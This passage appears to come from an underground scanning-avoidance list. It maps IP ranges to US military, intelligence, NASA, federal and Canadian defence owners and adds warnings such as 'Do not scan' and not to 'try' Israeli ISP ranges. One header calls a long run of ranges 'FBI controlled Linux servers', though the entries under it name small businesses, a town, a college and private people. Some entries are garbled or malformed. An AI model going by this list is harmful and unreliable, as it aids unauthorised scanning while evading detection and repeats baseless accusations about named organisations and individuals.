MCTSSA, East 138.168.0.0 Marine Corps Central Design & Prog. Activity 138.169.0.0 NAVAL COMPUTER AND TELECOMM 138.169.12.0 NAVAL COMPUTER AND TELECOMM 138.169.13.0 NAVAL COMPUTER AND TELECOMM 138.170.0.0 NCTC 138.171.0.0 NCTC 138.172.0.0 NCTC 138.173.0.0 NCTC 138.174.0.0 NCTC 138.175.0.0 NCTC 138.176.0.0 NCTC 138.177.0.0 NCTS Pensacola 138.178.0.0 NCTC 138.179.0.0 NCTC 138.180.0.0 NCTC 138.181.0.0 NCTC 138.182.0.0 CNO N60 138.183.0.0 NCTC 138.184.0.0 NCTS 138.193.0.0 NASA/Yellow Creek RANGE 139 139.31.0.0 20th Tactical Fighter Wing 139.32.0.0 48th Tactical Fighter Wing 139.33.0.0 36th Tactical Fighter Wing 139.34.0.0 52nd Tactical Fighter Wing 139.35.0.0 50th Tactical Fighter Wing 139.36.0.0 66th Electronic Combat Wing 139.37.0.0 26th Tactical Reconnaissance Wing 139.38.0.0 32nd Tactical Fighter Squadron 139.39.0.0 81st Tactical Fighter Wing 139.40.0.0 10th Tactical Fighter Wing 139.41.0.0 39th Tactical Air Control Group 139.42.0.0 40th Tactical Air Control Group 139.43.0.0 401st Tactical Fighter Wing 139.124.* Reseau Infomratique 139.142.*.* RANGE 140 140.1.0.0 Defense Information Systems Agency 140.3.0.0 Defense Information Systems Agency 140.4.0.0 Defense Information Systems Agency 140.5.0.0 Defense Information Systems Agency 140.6.0.0 Defense Information Systems Agency 140.7.0.0 Defense Information Systems Agency 140.8.0.0 Defense Information Systems Agency 140.9.0.0 Defense Information Systems Agency 140.10.0.0 Defense Information Systems Agency 140.11.0.0 Defense Information Systems Agency 140.12.0.0 Defense Information Systems Agency 140.13.0.0 Defense Information Systems Agency 140.14.0.0 DISA Columbus Level II NOC 140.15.0.0 Defense Information Systems Agency 140.16.0.0 Defense Information Systems Agency 140.17.0.0 Defense Information Systems Agency 140.18.0.0 Defense Information Systems Agency 140.19.0.0 Defense Information Systems Agency 140.20.0.0 Defense Information Systems Agency 140.21.0.0 Defense Information Systems Agency 140.22.0.0 Defense Information Systems Agency 140.23.0.0 Defense Information Systems Agency 140.24.0.0 ASIC ALLIANCE-MARLBORO 140.25.0.0 Defense Information Systems Agency 140.26.0.0 Defense Information Systems Agency 140.27.0.0 Defense Information Systems Agency 140.28.0.0 Defense Information Systems Agency 140.29.0.0 Defense Information Systems Agency 140.30.0.0 Defense Information Systems Agency 140.31.0.0 Defense Information Systems Agency 140.32.0.0 Defense Information Systems Agency 140.33.0.0 Defense Information Systems Agency 140.34.0.0 Defense Information Systems Agency 140.35.0.0 Defense Information Systems Agency 140.36.0.0 Defense Information Systems Agency 140.37.0.0 Defense Information Systems Agency 140.38.0.0 Defense Information Systems Agency 140.39.0.0 Defense Information Systems Agency 140.40.0.0 Defense Information Systems Agency 140.41.0.0 Defense Information Systems Agency 140.42.0.0 Defense Information Systems Agency 140.43.0.0 Defense Information Systems Agency 140.44.0.0 Defense Information Systems Agency 140.45.0.0 Defense Information Systems Agency 140.46.0.0 Defense Information Systems Agency 140.47.0.0 - 140.47.255.255 Defense Information Systems Agency 140.47.0.0 - 140.48.255.255 DOD Network Information Center 140.48.0.0 - 140.48.255.255 Defense Information Systems Agency 140.49.0.0 Defense Information Systems Agency 140.50.0.0 Defense Information Systems Agency 140.51.0.0 Defense Information Systems Agency 140.52.0.0 Defense Information Systems Agency 140.53.0.0 Defense Information Systems Agency 140.54.0.0 Defense Information Systems Agency 140.55.0.0 Defense Information Systems Agency 140.56.0.0 Defense Information Systems Agency 140.57.0.0 Defense Information Systems Agency 140.58.0.0 Defense Information Systems Agency 140.59.0.0 Defense Information Systems Agency 140.60.0.0 Defense Information Systems Agency 140.61.0.0 Defense Information Systems Agency 140.62.0.0 Defense Information Systems Agency 140.63.0.0 Defense Information Systems Agency 140.64.0.0 Defense Information Systems Agency 140.65.0.0 Defense Information Systems Agency 140.66.0.0 Defense Information Systems Agency 140.67.0.0 Defense Information Systems Agency 140.68.0.0 Defense Information Systems Agency 140.69.0.0 Defense Information Systems Agency 140.70.0.0 Defense Information Systems Agency 140.71.0.0 Defense Information Systems Agency 140.72.0.0 Defense Information Systems Agency 140.73.0.0 Defense Information Systems Agency 140.74.0.0 - 140.74.255.255 Defense Information Systems Agency 140.100.0.0 Naval Sea Systems Command 140.139.0.0 HQ US Army Medical Research and Development Command 140.154.0.0 HQ 5th Signal Command 140.155.0.0 HQ, 5th Signal Command 140.156.0.0 HQ, 5th Signal Command 140.175.0.0 Scott Air Force Base 140.178.0.0 Naval Undersea Warfare Center Division, Keyport 140.187.0.0 Fort Bragg 140.194.0.0 US Army Corps of Engineers 140.195.0.0 Naval Sea Systems Command 140.199.0.0 Naval Ocean Systems Center 140.201.0.0 HQ, 5th Signal Command 140.202.0.0 106TH SIGNAL BRIGADE RANGE 143 143.45.0.0 58th Signal Battalion 143.46.0.0 U.S. Army, 1141st Signal Battalion 143.68.0.0 Headquarters, USAISC 143.69.0.0 Headquarters, USAAISC 143.70.0.0 Headquarters, USAAISC 143.71.0.0 Headquarters, USAAISC 143.72.0.0 Headquarters, USAAISC 143.73.0.0 Headquarters, USAAISC 143.74.0.0 Headquarters, USAAISC 143.75.0.0 Headquarters, USAAISC 143.76.0.0 Headquarters, USAAISC 143.77.0.0 Headquarters, USAAISC 143.78.0.0 Headquarters, USAAISC 143.79.0.0 Headquarters, USAAISC 143.80.0.0 Headquarters, USAAISC 143.81.0.0 Headquarters, USAAISC 143.82.0.0 Headquarters, USAAISC 143.84.0.0 Headquarters, USAAISC 143.85.0.0 Headquarters, USAAISC 143.86.0.0 Headquarters, USAAISC 143.87.0.0 Headquarters, USAAISC 143.232.0.0 NASA Ames Research Center RANGE 144 144.99.0.0 United States Army Information Systems Command 144.109.0.0 Army Information Systems Command 144.143.0.0 Headquarters, Third United States Army 144.144.0.0 Headquarters, Third United States Army 144.146.0.0 Commander, Army Information Systems Center 144.147.0.0 Commander, Army Information Systems Center 144.170.0.0 HQ, 5th Signal Command 144.192.0.0 United States Army Information Services Command-Campbell 144.233.0.0 Defense Intelligence Agency 144.234.0.0 Defense Intelligence Agency 144.235.0.0 Defense Intelligence Agency 144.236.0.0 Defense Intelligence Agency 144.237.0.0 Defense Intelligence Agency 144.238.0.0 Defense Intelligence Agency 144.239.0.0 Defense Intelligence Agency 144.240.0.0 Defense Intelligence Agency 144.241.0.0 Defense Intelligence Agency 144.242.0.0 Defense Intelligence Agency 144.252.0.0 U.S. Army LABCOM RANGE 146 146.17.0.0 HQ, 5th Signal Command 146.80.0.0 Defence Research Agency 146.98.0.0 HQ United States European Command 146.154.0.0 NASA/Johnson Space Center 146.165.0.0 NASA Langley Research Center RANGE 147 147.35.0.0 HQ, 5th Signal Command 147.36.0.0 HQ, 5th Signal Command 147.37.0.0 HQ, 5th Signal Command 147.38.0.0 HQ, 5th Signal Command 147.39.0.0 HQ, 5th Signal Command 147.40.0.0 HQ, 5th Signal Command 147.42.0.0 Army CALS Project 147.103.0.0 Army Information Systems Software Center 147.104.0.0 Army Information Systems Software Center 147.159.0.0 Naval Air Warfare Center, Aircraft Division 147.168.0.0 Naval Surface Warfare Center 147.169.0.0 HQ, 5th Signal Command 147.198.0.0 Army Information Systems Command 147.199.0.0 Army Information Systems Command 147.238.0.0 Army Information Systems Command 147.239.0.0 1112th Signal Battalion 147.240.0.0 US Army Tank-Automotive Command 147.242.0.0 19th Support Command 147.248.0.0 Fort Monroe DOIM 147.254.0.0 7th Communications Group RANGE 148 148.114.0.0 NASA, Stennis Space Center RANGE 150 150.113.0.0 1114th Signal Battalion 150.114.0.0 1114th Signal Battalion 150.125.0.0 Space and Naval Warfare Command 150.133.0.0 10th Area Support Group 150.144.0.0 NASA Goodard Space Flight Center 150.149.0.0 Army Information Systems Command 150.157.0.0 USAISC-Fort Lee 150.184.0.0 Fort Monroe DOIM 150.190.0.0 USAISC-Letterkenny 150.196.0.0 USAISC-LABCOM RANGE 152 152.82.0.0 7th Communications Group of the Air Force 152.151.0.0 U.S. Naval Space & Naval Warfare Systems Command 152.152.0.0 NATO Headquarters 152.154.0.0 Defense Information Systems Agency 152.229.0.0 Defense MegaCenter (DMC) Denver RANGE 153 153.21.0.0 USCENTAF/SCM 153.22.0.0 USCENTAF/SCM 153.23.0.0 USCENTAF/SCM 153.24.0.0 USCENTAF/SCM 153.25.0.0 USCENTAF/SCM 153.26.0.0 USCENTAF/SCM 153.27.0.0 USCENTAF/SCM 153.28.0.0 USCENTAF/SCM 153.29.0.0 USCENTAF/SCM 153.30.0.0 USCENTAF/SCM 153.31.0.0 Federal Bureau of Investigation RANGE 155 155.5.0.0 1141st Signal Bn 155.6.0.0 1141st Signal Bn 155.7.0.0 American Forces Information 155.8.0.0 U.S. ArmyFort Gordon 155.9.0.0 - 155.9.255.255 United States Army Information Systems Command 155.74.0.0 PEO STAMIS 155.75.0.0 US Army Corps of Engineers 155.76.0.0 PEO STAMIS 155.77.0.0 PEO STAMIS 155.78.0.0 PEO STAMIS 155.79.0.0 US Army Corps of Engineers 155.80.0.0 PEO STAMIS 155.81.0.0 PEO STAMIS 155.82.0.0 PEO STAMIS 155.83.0.0 US Army Corps of Enginers 155.84.0.0 PEO STAMIS 155.85.0.0 PEO STAMIS 155.86.0.0 US Army Corps of Engineers 155.87.0.0 PEO STAMIS 155.88.0.0 PEO STAMIS 155.96.0.0 Drug Enforcement Administration 155.149.0.0 1112th Signal Battalion 155.155.0.0 HQ, 5th Signal Command 155.178.0.0 Federal Aviation Administration 155.213.0.0 USAISC Fort Benning 155.214.0.0 Director of Information Management 155.215.0.0 USAISC-FT DRUM 155.216.0.0 TCACCIS Project Management Office 155.217.0.0 Directorate of Information Management 155.218.0.0 USAISC 155.219.0.0 DOIM/USAISC Fort Sill 155.220.0.0 USAISC-DOIM 155.221.0.0 USAISC-Ft Ord RANGE 156 156.9.0.0 U. S. Marshals Service RANGE 157 157.150.0.0 United Nations 157.153.0.0 COMMANDER NAVAL SURFACE U.S. PACIFIC FLEET 157.202.0.0 US Special Operations Command 157.217.0.0 U. S. Strategic Command RANGE 158 158.1.0.0 Commander, Tooele Army Depot 158.2.0.0 USAMC Logistics Support Activity 158.3.0.0 U.S. Army TACOM 158.4.0.0 UASISC Ft. Carson 158.5.0.0 1112th Signal Battalion 158.6.0.0 USAISC-Ft. McCoy 158.7.0.0 USAISC-FLW 158.8.0.0 US Army Soldier Support Center 158.9.0.0 USAISC-CECOM 158.10.0.0 GOC 158.11.0.0 UASISC-Vint Hill 158.12.0.0 US Army Harry Diamond Laboratories 158.13.0.0 USAISC DOIM 158.14.0.0 1112th Signal Battalion 158.15.0.0 - 158.15.255.255 Defense Megacenter Huntsville 158.16.0.0 Rocky Mountain Arsenal (PMRMA) 158.17.0.0 Crane Army Ammunition Activity 158.18.0.0 Defense Finance & Accounting Service Center 158.19.0.0 DOIM 158.20.0.0 DOIM 158.235.0.0 Marine Corps Central Design and Programming Activity 158.243.0.0 Marine Corps Central Design and Programming Activity 158.244.0.0 Marine Corps Central Design and Programming Activity 158.245.0.0 Marine Corps Central Design and Programming Activity 158.246.0.0 Marine Corps Central Design and Programming Activity RANGE 159 159.120.0.0 Naval Air Systems Command (Air 4114) RANGE 160 160.132.0.0 US Army Recruiting Command 160.135.0.0 36th Signal BN 160.138.0.0 USAISC 160.139.0.0 USAISC 160.140.0.0 HQ, United States Army 160.143.0.0 USAISC 160.145.0.0 1101st Signal Brigade 160.146.0.0 USAISC SATCOMSTA-CAMP ROBERTS 160.150.0.0 Commander, Moncrief Army Hospital RANGE 161 161.124.0.0 NAVAL WEAPONS STATION RANGE 162 162.32.0.0 Naval Aviation Depot Pensacola 162.45.0.0 Central Intelligence Agency 162.46.0.0 Central Intelligence Agency RANGE 163 163.205.0.0 NASA Kennedy Space Center 163.206.0.0 NASA Kennedy Space Center RANGE 164 164.45.0.0 Naval Ordnance Center, Pacific Division 164.49.0.0 United States Army Space and Strategic Defense 164.158.0.0 Naval Surface Warfare Center 164.217.0.0 Institute for Defense Analyses 164.218.0.0 Bureau of Naval Personnel 164.219.0.0 HQ USAFE WARRIOR PREPARATION CENTER 164.220.0.0 - 164.220.255.255 NIMIP/TIP/NEWNET 164.221.0.0 - 164.221.255.255 Information Technology 164.223.0.0 Naval Undersea Warfare Center 164.224.0.0 Secretary of the Navy 164.225.0.0 U.S. Army Intelligence and Security Command 164.226.0.0 Naval Exchange Service Command 164.227.0.0 Naval Surface Warfare Center, Crane Division 164.228.0.0 USCINCPAC J21T 164.229.0.0 NCTS-NOLA 164.230.0.0 Naval Aviation Depot 164.231.0.0 Military Sealift Command 164.232.0.0 - 164.232.255.255 United States Southern Command RANGE 167 167.44.0.0 Government Telecommunications Agency RANGE 168 168.68.0.0 USDA Office of Operations 168.85.0.0 Fort Sanders Alliance 168.102.0.0 Indiana Purdue Fort Wayne RANGE 169 169.252.0.0 - 169.253.0.0 U.S. Department of State RANGE 194 RANGE 195 195.10.* Various - Do not scan RANGE 199 199.121.4.0 - 199.121.253.0 Naval Air Systems Command, VA RANGE 203 203.59.0.0 - 203.59.255.255 Perth Australia iiNET RANGE 204 204.34.0.0 - 204.34.15.0 IPC JAPAN 204.34.0.0 - 204.37.255.0 DOD Network Information Center 204.34.16.0 - 204.34.27.0 Bureau of Medicine and Surgery 204.34.32.0 - 204.34.63.0 USACOM 204.34.64.0 - 204.34.115.0 DEFENSE FINANCE AND ACCOUNTING SERVICE 204.34.128.0 DISA-Eucom / BBN-STD, Inc. 204.34.129.0 Defense Technical Information Center 204.34.130.0 GSI 204.34.131.0 NSA NAPLES ITALY 204.34.132.0 NAVSTA ROTA SPAIN 204.34.133.0 NAS SIGONELLA ITALY 204.34.134.0 Naval Air Warfare Center Aircraft Division 204.34.135.0 GSI 204.34.136.0 Naval Undersea Warfare Center USRD - Orlando 204.34.137.0 Joint Spectrum Center 204.34.138.0 GSI 204.34.139.0 HQ, JFMO Korea, Headquarters 204.34.140.0 DISA D75 204.34.141.0 U. S. Naval Air Facility, Atsugi Japan 204.34.142.0 Naval Enlisted Personnel Management Center 204.34.143.0 Afloat Training Group Pacific 204.34.144.0 HQ Special Operations Command - Europe 204.34.145.0 Commander Naval Base Pearl Harbor 204.34.147.0 NAVSEA Information Management Improvement Program 204.34.148.0 Q112 204.34.149.0 Ctr. for Info. Sys.Security,CounterMeasures 204.34.150.0 Resource Consultants, Inc. 204.34.151.0 Personnel Support Activity, San Diego 204.34.152.0 NAVAL AIR FACILITY, ADAK 204.34.153.0 NAVSEA Logistics Command Detachment 204.34.154.0 PEARL HARBOR NAVAL SHIPYARD 204.34.155.0 PEARL HARBOR NAVAL SHIPYARD 204.34.156.0 Defense Photography School 204.34.157.0 - 204.34.160.0 Defense Information School 204.34.161.0 Naval Air Systems Command 204.34.162.0 Puget Sound Naval Shipyard 204.34.163.0 Joint Precision Strike Demonstration 204.34.164.0 Naval Pacific Meteorology and Ocean 204.34.165.0 Joint Precision Strike Demonstration 204.34.167.0 USAF 204.34.168.0 Commander 204.34.169.0 Naval Air Warfare Center 204.34.170.0 Naval Air Systems Command 204.34.171.0 NAVSTA SUPPLY DEPARTMENT 204.34.173.0 SUBMEPP Activity 204.34.174.0 COMMANDER TASK FORCE 74 YOKOSUKA JAPAN 204.34.176.0 DISA-PAC,IPC-GUAM 204.34.177.0 Satellite Production Test Center 204.34.181.0 940 Air Refueling Wing 204.34.182.0 Defense Megacenter Warner Robins 204.34.183.0 GCCS Support Facility 204.34.184.0 Nav Air Tech Serv Facility-Detachment 204.34.185.0 NAVAL SUPPORT FACILITY, DIEGO GARCIA 204.34.186.0 Defense Logistics Agency - Europe 204.34.187.0 NAVMASSO 204.34.188.0 Commander-In-Chief, US Pacific Fleet 204.34.189.0 Defense MegaCenter - St Louis 204.34.190.0 NAVMASSO 204.34.192.0 HQ SOCEUR 204.34.193.0 Second Marine Expeditionary Force 204.34.194.0 Second Marine Expeditionary Force 204.34.195.0 Second Marine Expeditionary Force 204.34.196.0 NAVCOMTELSTAWASHDC 204.34.197.0 INFORMATION SYSTEMS TECHNOLOGY CENTER 204.34.198.0 Naval Observatory Detachment, Colorado 204.34.199.0 NAVILCODETMECH 204.34.200.0 Navy Environmental Preventive Medicine 204.34.201.0 Port Hueneme Division, Naval Surf 204.34.202.0 Naval Facilities Engineering Housing 204.34.203.0 NAVSEA Logistics Command Detachment 204.34.204.0 Naval Air Warfare Center 204.34.205.0 Portsmouth Naval Shipyard 204.34.206.0 INFORMATION SYSTEMS TECHNOLOGY CENTER 204.34.208.0 - 204.34.210.0 Military Sealift Command Pacific 204.34.211.0 USAF Academy 204.34.212.0 3rd Combat Service Support 204.34.213.0 1st Radio Battalion 204.34.214.0 OASD (Health Affairs) 204.34.215.0 Second Marine Expeditionary Force 204.34.216.0 1st Marine Air Wing 204.34.217.0 SA-ALC/LTE 204.34.218.0 3rd Marine 204.34.219.0 Communications and Electronics 204.34.220.0 G-6 Operations 204.34.221.0 G-6 Operations 204.34.222.0 G-6 Operations 204.34.223.0 G-6 Operations 204.34.224.0 G-6 Operations 204.34.225.0 Joint Interoperability Test Command 204.34.226.0 NAVMASSO 204.34.227.0 NAVMASSO 204.34.228.0 - 204.34.228.255 Field Command Defense Nuclear Agency 204.34.229.0 Naval Space Command 204.34.230.0 Naval Pacific Meteorology and Oceanography 204.34.232.0 Military Family Housing 204.34.233.0 - 204.34.233.255 Navy Material Transportation Office 204.34.234.0 NAVMASSO 204.34.235.0 Defense Finance and Accounting Service 204.34.237.0 European Stars and Stripes 204.34.238.0 Pacific Stars and Stripes 204.34.239.0 PUGET SOUND NAVAL SHIPYARD 204.34.240.0 Nval Station, Guantanamo Bay 204.34.242.0 COMNAVSURFPAC 204.34.243.0 NAVMASSO 204.34.244.0 Amphibious Force, Seventh Fleet, U. S. Navy 204.34.245.0 USAF SpaceCommand 204.34.246.0 USAF 204.34.247.0 U.S. Army Special Operations Command 204.34.248.0 FLEET COMBAT TRAINING CENTER ATLA 204.34.249.0 Naval Aviation Depot North Island 204.34.250.0 NAVMASSO 204.34.251.0 NAVSEA Log Command Detachment Pacific 204.34.252.0 Command Special Boat Squadron One 204.34.253.0 AFPCA/GNNN 204.34.254.0 Navy Environmental Preventive Medicine RANGE 205 205.0.0.0 - 205.117.255.0 Department of the Navy, Space and Naval Warfare System Command, Washington DC - SPAWAR 205.96.* - 205.103.* RANGE 207 207.30.* Sprint/United Telephone of Florida All the below are FBI controlled Linux servers & IPs/IP-Ranges 207.60.0.0 - 207.60.255.0 The Internet Access Company 207.60.2.128 - 207.60.2.255 Abacus Technology 207.60.3.0 - 207.60.3.127 Mass Electric Construction Co. 207.60.3.128 - 207.60.3.255 Peabody Proberties Inc 207.60.4.0 - 207.60.4.127 Northern Electronics 207.60.4.128 - 207.60.4.255 Posternak, Blankstein & Lund 207.60.5.64 - 207.60.5.127 Woodard & Curran 207.60.5.192 - 207.60.5.255 On Line Services 207.60.6.0 - 207.60.6.63 The 400 Group 207.60.6.64 - 207.60.6.127 RD Hunter and Company 207.60.6.128 - 207.60.6.191 Louis Berger and Associates 207.60.6.192 - 207.60.6.255 Ross-Simons 207.60.7.0 - 207.60.7.63 Eastern Cambridge Savings Bank 207.60.7.64 - 207.60.7.127 Greater Lawrence Community Action Committee 207.60.7.128 - 207.60.7.191 Data Electronic Devices, Inc 207.60.8.0 - 207.60.8.255 Sippican 207.60.9.0 - 207.60.9.31 Alps Sportswear Mfg Co 207.60.9.32 - 207.60.9.63 Escher Group Ltd 207.60.9.64 - 207.60.9.95 West Suburban Elder 207.60.9.96 - 207.60.9.127 Central Bank 207.60.9.128 - 207.60.9.159 Danick Systems 207.60.9.160 - 207.60.9.191 Alps Sportswear Mfg CO 207.60.9.192 - 207.60.9.223 BSCC 207.60.13.16 - 207.60.13.23 Patrons Insurance Group 207.60.13.40 - 207.60.13.47 Athera Technologies 207.60.13.48 - 207.60.13.55 Service Edge Partners Inc 207.60.13.56 - 207.60.13.63 Massachusetts Credit Union League 207.60.13.64 - 207.60.13.71 SierraCom 207.60.13.72 - 207.60.13.79 AI/ FOCS 207.60.13.80 - 207.60.13.87 Extreme soft 207.60.13.96 - 207.60.13.103 Eaton Seo Corp 207.60.13.112 - 207.60.13.119 C. White 207.60.13.120 - 207.60.13.127 Athera 207.60.13.128 - 207.60.13.135 Entropic Systems, INC 207.60.13.136 - 207.60.13.143 Wood Product Manufactureds Associates 207.60.13.160 - 207.60.13.167 Jamestown Distribution 207.60.13.168 - 207.60.13.175 C&M Computers 207.60.13.176 - 207.60.13.183 ABC Used Auto Parts 207.60.13.184 - 207.60.13.191 Tomas Weldon 207.60.13.192 - 207.60.13.199 Tage Inns 207.60.13.200 - 207.60.13.207 Control Module Inc 207.60.13.208 - 207.60.13.215 Hyper Crawler Information Systems 207.60.13.216 - 207.60.13.223 Eastern Bearings 207.60.13.224 - 207.60.13.231 North Shore Data Services 207.60.13.232 - 207.60.13.239 Mas New Hampshire 207.60.14.0 - 207.60.14.255 J. A. Webster 207.60.15.0 - 207.60.15.127 Trilogic 207.60.16.0 - 207.60.16.255 Area 54 207.60.18.0 - 207.60.18.63 Vested Development Inc 207.60.18.64 - 207.60.18.127 Conventures 207.60.21.0 - 207.60.21.255 Don Law Company 207.60.22.0 - 207.60.22.255 Advanced Microsensors 207.60.28.0 - 207.60.28.63 Applied Business Center 207.60.28.64 - 207.60.28.127 Color and Design Exchange 207.60.36.8 - 207.60.36.15 Shaun McCusker 207.60.36.16 - 207.60.36.23 Town of Framingham 207.60.36.24 - 207.60.36.31 AB Software 207.60.36.32 - 207.60.36.39 Seabass Dreams Too Much, Inc 207.60.36.40 - 207.60.36.47 Next Ticketing 207.60.36.48 - 207.60.36.55 Dulsi 207.60.36.56 - 207.60.36.63 The Internet Access Company 207.60.36.64 - 207.60.36.71 Maguire Group 207.60.36.72 - 207.60.36.79 Cogenex 207.60.36.88 - 207.60.36.95 AKNDC 207.60.36.96 - 207.60.36.103 McGovern election commitee 207.60.36.104 - 207.60.36.111 Digital Equipment Corp 207.60.36.112 - 207.60.36.119 PTR - Precision Technologies 207.60.36.120 - 207.60.36.127 Extech 207.60.36.128 - 207.60.36.135 Manfreddi Architects 207.60.36.144 - 207.60.36.151 Parent Naffah 207.60.36.152 - 207.60.36.159 Darling Dolls Inc 207.60.36.160 - 207.60.36.167 Wright Communications 207.60.36.168 - 207.60.36.175 Principle Software 207.60.36.176 - 207.60.36.183 Chris Pet Store 207.60.36.184 - 207.60.36.191 Fifteen Lilies 207.60.36.192 - 207.60.36.199 All-Com Technologies 207.60.37.0 - 207.60.37.31 Cardio Thoracic Surgical Associates, P. A. 207.60.37.32 - 207.60.37.63 Preferred Fixtures Inc 207.60.37.64 - 207.60.37.95 Apple and Eve Distributors 207.60.37.96 - 207.60.37.127 Nelson Copy Supply 207.60.37.128 - 207.60.37.159 Boston Optical Fiber 207.60.37.192 - 207.60.37.223 Fantasia&Company 207.60.41.0 - 207.60.41.255 Infoactive 207.60.48.0 - 207.60.48.255 Curry College 207.60.62.32 - 207.60.62.63 Alternate Power Source 207.60.62.64 - 207.60.62.95 Keystone Howley-White 207.60.62.128 - 207.60.62.159 Bridgehead Associates LTD 207.60.62.160 - 207.60.62.191 County Supply 207.60.62.192 - 207.60.62.223 NH Board of Nursing 207.60.64.0 - 207.60.64.63 Diversified Wireless Technologies 207.60.64.64 - 207.60.64.127 Phytera 207.60.66.0 - 207.60.66.15 The Network Connection 207.60.66.16 - 207.60.66.31 Young Refrigeration 207.60.66.32 - 207.60.66.47 Vision Appraisal Technology 207.60.66.48 - 207.60.66.63 EffNet Inc 207.60.66.64 - 207.60.66.79 Entropic Systems Inc 207.60.66.80 - 207.60.66.95 Finley Properties 207.60.66.96 - 207.60.66.111 Nancy Plowman Associates 207.60.66.112 - 207.60.66.127 Northeast Financial Strategies 207.60.66.128 - 207.60.66.143 Textnology Corp 207.60.66.144 - 207.60.66.159 Groton Neochem LLC 207.60.66.160 - 207.60.66.175 Tab Computers 207.60.66.176 - 207.60.66.191 Patrons Insurance 207.60.66.192 - 207.60.66.207 Chair City Web 207.60.66.208 - 207.60.66.223 Radex, Inc. 207.60.66.224 - 207.60.66.239 Robert Austein 207.60.66.240 - 207.60.66.255 Hologic Inc. 207.60.71.64 - 207.60.71.127 K-Tech International Inc. 207.60.71.128 - 207.60.71.191 Pan Communications 207.60.71.192 - 207.60.71.255 New England College of Finance 207.60.75.128 - 207.60.75.255 Absolve Technology 207.60.78.0 - 207.60.78.127 Extech 207.60.78.128 - 207.60.78.255 The Insight Group 207.60.83.0 - 207.60.83.255 JLM Technologies 207.60.84.0 - 207.60.84.255 Strategic Solutions 207.60.94.0 - 207.60.94.15 McWorks 207.60.94.32 - 207.60.94.47 Rooney RealEstate 207.60.94.48 - 207.60.94.63 Joseph Limo Service 207.60.94.64 - 207.60.94.79 The Portico Group 207.60.94.80 - 207.60.94.95 Event Travel Management Inc 207.60.94.96 - 207.60.94.111 Intellitech International 207.60.94.128 - 207.60.94.143 Orion Partners 207.60.94.144 - 207.60.94.159 Rainbow Software Solution 207.60.94.160 - 207.60.94.175 Grason Stadler Inc 207.60.94.192 - 207.60.94.207 Donnegan System 207.60.95.1 - 207.60.95.255 The Iprax Corp 207.60.102.0 - 207.60.102.63 Coporate IT 207.60.102.64 - 207.60.102.127 Putnam Technologies 207.60.102.128 - 207.60.102.191 Sycamore Networks 207.60.102.192 - 207.60.102.255 Bostek 2?7.6?.10?.128 - 207.60.103.255 Louis Berger and Associates 207.60.104.128 - 207.60.104.191 Hanson Data Systems 207.60.106.128 - 207.60.106.255 Giganet Inc. 207.60.107.0 - 207.60.107.255 Roll Systems 207.60.108.8 - 207.60.108.15 InternetQA 207.60.111.0 - 207.60.111.31 Reading Cooperative Bank 207.60.111.32 - 207.60.111.63 Edco collaborative 207.60.111.64 - 207.60.111.95 DTC Communications Inc 207.60.111.96 - 207.60.111.127 Mike Line 207.60.111.128 - 207.60.111.159 The Steppingstone Foundation 207.60.111.160 - 207.60.111.191 Caton Connector 207.60.111.192 - 207.60.111.223 Refron 207.60.111.224 - 207.60.111.255 Dolabany Comm Group 207.60.112.0 - 207.60.112.255 The CCS Companies 207.60.116.0 - 207.60.116.255 Continental PET Technologies 207.60.122.16 - 207.60.122.23 Corey & Company Designers Inc 207.60.122.24 - 207.60.122.31 SAIC 207.60.122.32 - 207.60.122.39 Netserve Entertainment Group 207.60.122.40 - 207.60.122.47 Avici Systems Inc 207.60.122.48 - 207.60.122.55 Webrdwne 207.60.122.56 - 207.60.122.63 Reality and Wonder 207.60.122.64 - 207.60.122.71 Nishan Desilva 207.60.122.72 - 207.60.122.79 NemaSoft Inc 207.60.122.80 - 207.60.122.87 Patrick Murphy 207.60.122.88 - 207.60.122.95 Corey and Company 207.60.122.96 - 207.60.122.103 Ames Textile Corp 207.60.122.104 - 207.60.122.111 Publicom 207.60.127.0 - Northstar Technologies 207.60.128.0 - 207.60.128.255 Northstar Technologies 207.60.129.0 - 207.60.129.255 Sanga Corp 207.60.129.64 - 207.60.129.127 Fired Up Network 207.60.129.128 - 207.60.129.191 Integrated Data Solutions 207.60.129.192 - 207.60.129.255 Metanext 207.61.* WorldLinx Telecommunications, Inc., Canada 207.120.* BBN Planet, MA RANGE 208 208.240.xxx.xxx RANGE 209 209.35.* Interland, Inc., GA RANGE 212 212.56.107.22 212.143 *** israelis isp's!! dont try those ranges!! 212.149.*** israelis isp's!! dont try those ranges!! 212.159.0.2 212.159.1.1 212.159.1.4 212.159.1.5 212.159.0.2 212.159.1.1 212.159.1.4 212.159.1.5 212.159.33.56 212.159.40.211 212.159.41.173 212.179.*** israelis isp's!! dont try those ranges!! 212.208.0.12.*** israelis isp's!! dont try those ranges!! RANGE 213 213.8.***.*** israelis isp's!! dont try those ranges!! RANGE 216 216.25.* 216.94.***.*** 216.247.* 216.248.*.* 217 217.6.* Do not scan -------------------------------- And from our Canadian friends... 192.139.201.0 - 192.139.201.24 : Government of Canada 192.139.202.0 - 192.139.202.24 : Government of Canada 192.139.203.0 - 192.139.203.24 : Government of Canada 192.139.204.0 - 192.139.204.24 : Government of Canada 192.197.83.0 - 192.197.83.24 : Government of Canada 198.103.0.0 - 198.103.0.16 : Government of Canada 128.43.0.0 - 128.43.0.16 : Canadian Department of National Defense (DND) 131.132.0.0 - 131.132.0.16 : Canadian Department of National Defense (DND) 131.133.0.0 - 131.133.0.16 : Canadian Department of National Defense (DND) 131.134.0.0 - 131.134.0.16 : Canadian Department of National Defense (DND) 131.135.0.0 - 131.135.0.16 : Canadian Department of National Defense (DND) 131.136.0.0 - 131.136.0.16 : Canadian Department of National Defense (DND) 131.137.0.0 - 131.137.0.16 : Canadian Department of National Defense (DND) 131.138.0.0 - 131.138.0.16 : Canadian Department of National Defense (DND) 131.139.0.0 - 131.139.0.16 : Canadian Department of National Defense (DND) 131.140.0.0 - 131.140.0.16 : Canadian Department of National Defense (DND) 131.141.0.0 - 131.141.0.16 : Canadian Department of National Defense (DND) 192.5.144.0 - 192.5.144.24 : Canadian Department of National Defense (DND) 192.12.98.0 - 192.12.98.24 : Canadian Department of National Defense (DND) 192.12.215.0 - 192.12.215.24 : Canadian Department of National Defense (DND) 192.16.205.0 - 192.16.205.24 : Canadian Department of National Defense (DND) 192.16.206.0 - 192.16.206.24 : Canadian Department of National Defense (DND) 192.16.207.0 - 192.16.207.24 : Canadian Department of National Defense (DND) 192.16.208.0 - 192.16.208.24 : Canadian Department of National Defense (DND) 192.16.242.0 - 192.16.242.24 : Canadian Department of National Defense (DND) 192.16.243.0 - 192.16.243.24 : Canadian Department of National 